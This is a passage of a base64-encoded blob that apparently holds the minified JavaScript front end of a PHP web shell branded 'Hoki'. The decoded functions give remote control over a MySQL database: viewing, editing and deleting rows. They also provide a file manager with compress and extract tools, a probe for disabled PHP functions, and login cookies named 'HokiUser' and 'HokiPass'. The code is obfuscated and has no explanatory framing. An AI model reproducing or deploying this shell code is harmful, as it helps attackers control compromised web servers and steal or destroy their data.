dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNxbC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGhva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2hva2kyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksaG9raU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5LXJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGhva2lNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7aG9raU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0Ontob2tpMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFyZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSciK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0naG9raU15c3FsVXBkYXRlUm93KHRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVySFRNTD1zLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6NixkYl9pZDppLHRhcmdldDoiLm15c3FsLWVkaXQtcm93In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1xdWVyeS1yZXN1bHQtdGFicyBkaXY6bnRoLWNoaWxkKDYpIikuc3R5bGUuZGlzcGxheT0iaW5saW5lLWJsb2NrIn1lbHNlImRlbGV0ZSI9PXQmJihlLnN0YXR1cz9kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAudGJsX3Jvd19sIituKS5yZW1vdmUoKTphbGVydChlLmVycm9yKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxUYmxTZWxlY3RBbGwoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIit0KyIgLm15c3FsLW1haW4gaW5wdXRbbmFtZT10Ymxfcm93c19jaGVja2JveFxcW1xcXV0iKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3QuY2hlY2tlZD1lLmNoZWNrZWR9KX1mdW5jdGlvbiBob2tpTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3MoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiY29sX2tleSIpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK3QrIiAubXlzcWwtbWFpbiBpbnB1dFtuYW1lPXRibF9yb3dzX2NoZWNrYm94XFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkJiZyLnB1c2goZS52YWx1ZSl9KSwwPT1yLmxlbmd0aClyZXR1cm4hMTtob2tpTXlzcWxBcGkoe2RiX2lkOnQsZGJfdGFyZ2V0OmEsYWpheF9pZDoibXlzcWxfdGFibGVfZGVsZXRlX2FsbF9xdWVyeSIsZGJfaW5mbzp7dGFibGU6bCxjb2xfa2V5Omkscm93czpyfSxwb3N0Ontob2tpMjoiZGVsZXRlX2FsbCJ9fSxmdW5jdGlvbihlKXtpZigiIiE9ZSlpZigoZT1KU09OLnBhcnNlKGUpKS5zdGF0dXMpe3ZhciBhPTAsaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK3QpO2QucXVlcnlTZWxlY3RvckFsbCgiIyIrdCsiIC5teXNxbC1tYWluIGlucHV0W25hbWU9dGJsX3Jvd3NfY2hlY2tib3hcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJihhPWUuZ2V0QXR0cmlidXRlKCJyb3dfaWQiKSxpLnF1ZXJ5U2VsZWN0b3IoIi50Ymxfcm93X2wiK2EpLnJlbW92ZSgpKX0pfWVsc2UgYWxlcnQoZS5lcnJvcil9KX1mdW5jdGlvbiBob2tpTXlzcWxVcGRhdGVSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWQucXVlcnlTZWxlY3RvcigiIyIraSkscj0iLm15c3FsLWluc2VydC1yb3ciLG89Ii5teXNxbC1pbnNlcnQtcmVzdWx0IixuPSJteXNxbF90YWJsZV9pbnNlcnRfcXVlcnkiLHM9Imluc2VydCIsYz17dGFibGU6ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIil9O2lmKCJlZGl0Ij09dCl7dmFyIHU9ZS5nZXRBdHRyaWJ1dGUoImNvbF9rZXkiKSxwPWUuZ2V0QXR0cmlidXRlKCJrZXkiKTtyPSIubXlzcWwtZWRpdC1yb3ciLG89Ii5teXNxbC11cGRhdGUtcmVzdWx0IixuPSJteXNxbF90YWJsZV91cGRhdGVfcXVlcnkiLHM9InVwZGF0ZSIsYy5jb2xfa2V5PXUsYy5rZXk9cH12YXIgZj17fTtsLnF1ZXJ5U2VsZWN0b3JBbGwocisiIGlucHV0LCAiK3IrIiB0ZXh0YXJlYSIpLmZvckVhY2goZnVuY3Rpb24oZSl7Zi5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwoZltlLm5hbWVdPXt9KSxmW2UubmFtZV09ZS52YWx1ZX0pLGMuZGF0YT1mLGhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOm4sZGJfaW5mbzpjLHBvc3Q6e2hva2kyOnN9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIraSsiICIrbyk7dC5zdHlsZS5kaXNwbGF5PSJibG9jayIsZS5zdGF0dXM/dC5pbm5lckhUTUw9IlN1Y2Nlc3MuLi4iOnQuaW5uZXJIVE1MPWUuZXJyb3J9fSl9ZnVuY3Rpb24gaG9raU15c3FsTG9hZERhdGFUeXBlKGUpe2U9ZS50b1VwcGVyQ2FzZSgpO3ZhciB0PVsiSU5UIiwiVkFSQ0hBUiIsIlRFWFQiLCJEQVRFIix7a2V5OiJOdW1lcmljIix2YWxzOlsiVElOWUlOVCIsIlNNQUxMSU5UIiwiTUVESVVNSU5UIiwiSU5UIiwiQklHSU5UIiwiLSIsIkRFQ0lNQUwiLCJGTE9BVCIsIkRPVUJMRSIsIlJFQUwiLCItIiwiQklUIiwiQk9PTEVBTiIsIlNFUklBTCJdfSx7a2V5OiJEYXRlIGFuZCB0aW1lIix2YWxzOlsiREFURSIsIkRBVEVUSU1FIiwiVElNRVNUQU1QIiwiVElNRSIsIllFQVIiXX0se2tleToiU3RyaW5nIix2YWxzOlsiQ0hBUiIsIlZBUkNIQVIiLCItIiwiVElOWVRFWFQiLCJURVhUIiwiTUVESVVNVEVYVCIsIkxPTkdURVhUIiwiLSIsIkJJTkFSWSIsIlZBUkJJTkFSWSIsIi0iLCJUSU5ZQkxPQiIsIk1FRElVTUJMT0IiLCJCTE9CIiwiTE9OR0JMT0IiLCItIiwiRU5VTSIsIlNFVCJdfSx7a2V5OiJTcGF0aWFsIix2YWxzOlsiR0VPTUVUUlkiLCJQT0lOVCIsIkxJTkVTVFJJTkciLCJQT0xZR09OIiwiTVVMVElQT0lOVCIsIk1VTFRJTElORVNUUklORyIsIk1VTFRJUE9MWUdPTiIsIkdFT01FVFJZQ09MTEVDVElPTiJdfSx7a2V5OiJKU09OIix2YWxzOlsiSlNPTiJdfV0sYT0iIixpPSExO2Zvcih2YXIgbCBpbiB0KWlmKCJvYmplY3QiPT10eXBlb2YgdFtsXSl7Zm9yKHZhciByIGluIGErPSc8b3B0Z3JvdXAgbGFiZWw9IicrdFtsXS5rZXkrJyI+Jyx0W2xdLnZhbHMpYSs9IjxvcHRpb24iKyh0W2xdLnZhbHNbcl0hPWV8fGk/IiI6IiBzZWxlY3RlZCIpKyI+Iit0W2xdLnZhbHNbcl0rIjwvb3B0aW9uPiIsdFtsXS52YWxzW3JdPT1lJiYoaT0hMCk7YSs9Ijwvb3B0Z3JvdXA+In1lbHNlIGErPSI8b3B0aW9uIisodFtsXSE9ZXx8aT8iIjoiIHNlbGVjdGVkIikrIj4iK3RbbF0rIjwvb3B0aW9uPiIsdFtsXT09ZSYmKGk9ITApO3JldHVybiBhfWZ1bmN0aW9uIGhva2lNeXNxbENoYW5nZVBhZ2UoZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPTA7aWYodm9pZCAwIT09dCl7ZT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBzZWxlY3RbbmFtZT1teXNxbC1xLXBhZ2VzXSIpO3ZhciBsPXBhcnNlSW50KGUuZ2V0QXR0cmlidXRlKCJwYWdlcyIpKTtpZihpPXBhcnNlSW50KGUudmFsdWUpLDE9PXQ/LS1pOisraSwwPT1pfHxsPGkpcmV0dXJuITE7ZS52YWx1ZT1pfWVsc2UgaT1lLnZhbHVlO3ZhciByPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxvPWUuZ2V0QXR0cmlidXRlKCJ0YmxfbmFtZSIpO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6cixhamF4X2lkOiJteXNxbF90YWJsZV9jaGFuZ2VfcGFnZSIsZGJfaW5mbzp7dGFibGU6byxwYWdlOml9LHBvc3Q6e2hva2kyOiJwYWdlIn19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiYoZT1KU09OLnBhcnNlKGUpLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoYSxlKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS50YWJsZSl9KX1mdW5jdGlvbiBob2tpUmVtb3ZlQ29va2llKGUpe2RvY3VtZW50LmNvb2tpZT1lKyI9O01heC1BZ2U9MDsgcGF0aD0vOyJ9ZnVuY3Rpb24gaG9raUxvZ091dCgpe2hva2lSZW1vdmVDb29raWUoIkhva2lVc2VyIiksaG9raVJlbW92ZUNvb2tpZSgiSG9raVBhc3MiKSxsb2NhdGlvbi5yZWxvYWQoKX12YXIgaG9raUFsZXJ0Qm94PWZ1bmN0aW9uKGUsdCl7dGhpcy50eXBlcz17c3VjY2Vzczp7Y2xhc3M6ImFsZXJ0LXN1Y2Nlc3MiLGljb246Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9jaGVjay1tYXJrMS5zdmcifSxlcnJvcjp7Y2xhc3M6ImFsZXJ0LWVycm9yIixpY29uOiJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvd2FybmluZy5zdmcifX0sdGhpcy5zaG93PWZ1bmN0aW9uKGEpe2lmKCIiPT09YXx8bnVsbD09YSl0aHJvdycibXNnIHBhcmFtZXRlciBpcyBlbXB0eSInO3ZhciBpPWRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoZSksbD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJESVYiKSxyPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpLG89ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiRElWIiksbj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJBIikscz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKSxjPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIklNRyIpLGQ9dGhpcztpZihzLnN0eWxlLmRpc3BsYXk9ImlubGluZS1ibG9jayIscy5zdHlsZS5tYXJnaW5SaWdodD0iMTBweCIsci5zdHlsZS5kaXNwbGF5PSJpbmxpbmUtYmxvY2siLG8uY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudCIpLG8uaW5uZXJUZXh0PWEsbi5jbGFzc0xpc3QuYWRkKCJhbGVydC1jbG9zZSIpLG4uc2V0QXR0cmlidXRlKCJocmVmIiwiIyIpLGwuY2xhc3NMaXN0LmFkZCgiYWxlcnQtYm94IiksYy5zcmM9dGhpcy50eXBlc1t0LnR5cGVdLmljb24sYy5zdHlsZS53aWR0aD0iMzBweCIscy5hcHBlbmRDaGlsZChjKSxsLmFwcGVuZENoaWxkKHMpLHQuaGFzT3duUHJvcGVydHkoInRpdGxlIikpe3ZhciB1PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoIkRJViIpO3UuY2xhc3NMaXN0LmFkZCgiYWxlcnQtY29udGVudC10aXRsZSIpLHUuaW5uZXJUZXh0PXQudGl0bGUsci5hcHBlbmRDaGlsZCh1KX1pZihyLmFwcGVuZENoaWxkKG8pLGwuYXBwZW5kQ2hpbGQociksdC5oaWRlQ2xvc2VCdXR0b24mJnZvaWQgMCE9PXQuaGlkZUNsb3NlQnV0dG9ufHxsLmFwcGVuZENoaWxkKG4pLHQuaGFzT3duUHJvcGVydHkoInR5cGUiKSYmbC5jbGFzc0xpc3QuYWRkKHRoaXMudHlwZXNbdC50eXBlXS5jbGFzcyksaS5hcHBlbmRDaGlsZChsKSxuLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIixmdW5jdGlvbihlKXtlLnByZXZlbnREZWZhdWx0KCksZC5oaWRlKGwpfSksIXQucGVyc2lzdGVudCl2YXIgcD1zZXRUaW1lb3V0KGZ1bmN0aW9uKCl7ZC5oaWRlKGwpLGNsZWFyVGltZW91dChwKX0sdC5jbG9zZVRpbWUpfSx0aGlzLmhpZGU9ZnVuY3Rpb24oZSl7ZS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7dmFyIHQ9c2V0VGltZW91dChmdW5jdGlvbigpe2UucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlKSxjbGVhclRpbWVvdXQodCl9LDUwMCl9fTtmdW5jdGlvbiBob2tpU2hvd05vdGlmaWNhdGlvbihlLHQsYSxpLGwpe3ZvaWQgMD09PWEmJihhPSJzdWNjZXNzIiksdm9pZCAwPT09aSYmKGk9ITEpLHZvaWQgMD09PWwmJihsPTFlNCk7dmFyIHI9e2Nsb3NlVGltZTpsLHBlcnNpc3RlbnQ6aSx0eXBlOmEsaGlkZUNsb3NlQnV0dG9uOiExfTt2b2lkIDAhPT10JiYoci50aXRsZT10KSxuZXcgaG9raUFsZXJ0Qm94KCIjYWxlcnQtYXJlYSIscikuc2hvdyhlKX1mdW5jdGlvbiBob2tpU3luY01lbnVUb09wdChlLHQpe3ZhciBhPSIiLGk9IiIsbD1udWxsO3ZvaWQgMCE9PXQ/KGE9InZpZXdfYXJjaGl2ZSIsaT1lLGw9bG9jYXRpb24pOihhPWUubmFtZSxpPWUuZ2V0QXR0cmlidXRlKCJmbmFtZSIpLGw9ZSksImV4dHJhY3QiPT1hPyhob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1kZXppcGVyIixnKCJkZXppcGVyIixudWxsLCIiLCIiLGNfKyIvIitpKSxkLnF1ZXJ5U2VsZWN0b3IoIi5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkRlQ29tcHJlc3NvciIpOiJjb21wcmVzcyI9PWE/KGhva2lfY2FuX2FkZF9vcHQ9ITAsbC5ocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0iK2NfKyImb3B0PXppcGVyIixnKCJ6aXBlciIsbnVsbCwiIiwiIixjXysiLyIraSksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJDb21wcmVzc29yIik6InZpZXdfYXJjaGl2ZSI9PWEmJihob2tpX2Nhbl9hZGRfb3B0PSEwLGwuaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9IitjXysiJm9wdD1hcmNoaXZlX21hbmFnZXIiLGcoImFyY2hpdmVfbWFuYWdlciIsbnVsbCwiIixjXysiLyIraSwiIiksZC5xdWVyeVNlbGVjdG9yKCIub3B0LXRpdGxlIikuaW5uZXJIVE1MPSJBcmNoaXZlIE1hbmFnZXIiKX1mdW5jdGlvbiBkb0ZpbHRlck5hbWUoZSl7dmFyIHQ9IiNmaWxlc21hbl9ob2xkZXJfIitob2tpX2N1cnJlbnRfZm1faWQ7c2V0VGltZW91dChmdW5jdGlvbigpe3ZhciBhPW5ldyBSZWdFeHAoZS52YWx1ZSwiaSIpO2QucXVlcnlTZWxlY3RvckFsbCh0KyIgLmZtYW5hZ2VyLXJvdyIpLmZvckVhY2goZnVuY3Rpb24oZSl7LTE9PWUucXVlcnlTZWxlY3RvcigiLm1haW5fbmFtZSIpLmdldEF0dHJpYnV0ZSgiZm5hbWUiKS5zZWFyY2goYSk/ZS5zdHlsZS5kaXNwbGF5PSJub25lIjplLnN0eWxlLmRpc3BsYXk9InRhYmxlLXJvdyJ9KX0sMTAwKX1mdW5jdGlvbiBzb3J0QnlTZWxlY3RlZFZhbHVlKGUsdCl7c2V0Q29va2llKHQsZS5vcHRpb25zW2Uuc2VsZWN0ZWRJbmRleF0udmFsdWUsMjAxMiksZygiRmlsZXNNYW4iLGNfKX1mdW5jdGlvbiBsb2FkUG9wVXBEYXRhYmFzZShlLHQsYSl7aWYoY29uc29sZS5sb2codCksJCgiZGF0YWJhc2Vfd2luZG93Iikuc3R5bGUuZGlzcGxheT0iYmxvY2siLHZvaWQgMD09PXQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5zcWwtY29udGVudC5zcWwtYWN0aXZlLWNvbnRlbnQiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJuYW1lLnNxbC1hY3RpdmUtdGFiIikuY2xhc3NMaXN0LnJlbW92ZSgic3FsLWFjdGl2ZS10YWIiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC10YWJzIC5zcWwtbmV3dGFiIikucmVtb3ZlKCl9Y2F0Y2goZSl7fXZhciBpPSJpZF9kYl8iK2dldFJhbmRvbSgxMCk7ZC5xdWVyeVNlbGVjdG9yKCIjZGF0YWJhc2Vfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5zcWwtY29udGVudHMiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK2krJyIgY2xhc3M9InNxbC1jb250ZW50IHNxbC1hY3RpdmUtY29udGVudCI+JytlKyI8L2Rpdj4iKSxkLnF1ZXJ5U2VsZWN0b3IoIiNkYXRhYmFzZV93aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLnNxbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IGlkPSJ0YWJfJytpKyciIG9wdF9pZD0iJytpKyciIGNsYXNzPSJzcWwtdGFibmFtZSBzcWwtYWN0aXZlLXRhYiIgb25jbGljaz0iZGJUYWJDb250cm9sbGVyKHRoaXMpOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IERCIENvbm5lY3Rpb248L3NwYW4+IDxpbWcgb3B0X2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VEYXRhYmFzZSh0aGlzLGV2ZW50KTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iW2Nsb3NlXSIgc3JjPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciPjwvZGl2PjxkaXYgY2xhc3M9InNxbC1uZXd0YWIiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTtnKFwnc3FsXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojODAwMDAwOyI+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyI+TmV3IFRhYiArPC9zcGFuPjwvZGl2PicpLCQoaSkucXVlcnlTZWxlY3RvckFsbCgiLmRiLW9wdC1pZCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImRiX2lkIixpKX0pO3RyeXskKGkpLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGkpfWNhdGNoKGUpe31yZXR1cm4gaX0kKHQpLmlubmVySFRNTD1lO3ZhciBsPSQoInRhYl8iK3QpO251bGwhPWwmJigoLTE9PWwuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIil8fGRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWQpJiYobC5jbGFzc0xpc3QuYWRkKCJ0YWItaXMtZG9uZSIpLGhva2lTaG93Tm90aWZpY2F0aW9uKCJwcm9jY2VzcyBpcyBkb25lLi4uIiwiREI6ICIrbC5pbm5lclRleHQpKSxkYXRhYmFzZV93aW5kb3dfaXNfbWluaW1pemVkJiZob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJkYXRhYmFzZV93aW5kb3ciKSksdm9pZCAwIT09bXlzcWxfY2FjaGVbdF0mJm15c3FsX2NhY2hlW3RdLmhhc093blByb3BlcnR5KCJkYiIpJiZteXNxbF9jYWNoZVt0XS5kYi5sZW5ndGg+MCYmInVwZGF0ZSIhPWEmJihkLnF1ZXJ5U2VsZWN0b3IoIiN0YWJfIit0KyI+c3BhbiIpLmlubmVySFRNTD1teXNxbF9jYWNoZVt0XS5kYiksJCh0KS5xdWVyeVNlbGVjdG9yQWxsKCIuZGItb3B0LWlkIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLnNldEF0dHJpYnV0ZSgiZGJfaWQiLHQpfSk7dHJ5eyQodCkucXVlcnlTZWxlY3RvcigiLmdldGNvbmZpZyIpLnNldEF0dHJpYnV0ZSgiYmFzZV9pZCIsdCl9Y2F0Y2goZSl7fWRhdGFiYXNlX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGxvYWRQb3BVcE9wVGlvbnMoZSx0KXtjb25zb2xlLmxvZyhlKSxob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9IiIsJCgib3B0aW9uc193aW5kb3ciKS5zdHlsZS5kaXNwbGF5PSJibG9jayI7dmFyIGE9JCgib3B0aW9uXyIrZSk7aWYoaG9raV9jYW5fYWRkX29wdCl7aG9raV9jYW5fYWRkX29wdD0hMTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIub3B0aW9uc19ob2xkZXIub3B0aW9uX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoIm9wdGlvbl9pc19hY3RpdmUiKX1jYXRjaChlKXt9dmFyIGk9IiIsbD0kKCJtZW51X29wdF8iK2UpLmlubmVySFRNTDsibWFya2V0Ij09ZT9sPSJIb2tpIE1hcmtldCI6IkdldERpc0Z1bmMiPT1lJiYobD0iRGlzYWJsZSBGdW5jdGlvbnMiKTt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIjb3B0aW9uc193aW5kb3cgLmNvbnRlbnRfb3B0aW9uc19ob2xkZXIgLm9wdGlvbnNfdGFiIC50YWJfbmFtZS50YWJfaXNfYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgidGFiX2lzX2FjdGl2ZSIpfWNhdGNoKGUpe31pZihudWxsIT1hKXt2YXIgcj1hLmdldEF0dHJpYnV0ZSgib3B0X2NvdW50Iik7bnVsbCE9cj8oaT1wYXJzZUludChyKSsxLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKTooaT0xLGEuc2V0QXR0cmlidXRlKCJvcHRfY291bnQiLGkpKX12YXIgbz0ib3B0aW9uXyIrZStpO2QucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX2NvbnRlbnQiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCc8ZGl2IGlkPSInK28rJyIgY2xhc3M9Im9wdGlvbnNfaG9sZGVyIj4nK3QrIjwvZGl2PiIpLGQucXVlcnlTZWxlY3RvcigiI29wdGlvbnNfd2luZG93IC5jb250ZW50X29wdGlvbnNfaG9sZGVyIC5vcHRpb25zX3RhYiIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwnPGRpdiBvcHRfaWQ9IicrbysnIiBvbmNsaWNrPSJvcHRpb25zVGFiQ29udHJvbGxlcih0aGlzKTsiIHRpdGxlPSInK2wrJyIgaWQ9InRhYl8nK28rJyIgY2xhc3M9InRhYl9uYW1lIHRhYl9pc19hY3RpdmUiPicrbCsnIDxpbWcgb3B0X2lkPSInK28rJyIgb25jbGljaz0iY2xvc2VPcHRpb24odGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLCQobykuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrbysiIGZvcm0sICMiK28rIiBhIikuZm9yRWFjaChmdW5jdGlvbih0KXt2YXIgYT10LmNsYXNzTGlzdC52YWx1ZTtpZigiZ2V0Y29uZmlnIj09YXx8InJlamVjdG1lIj09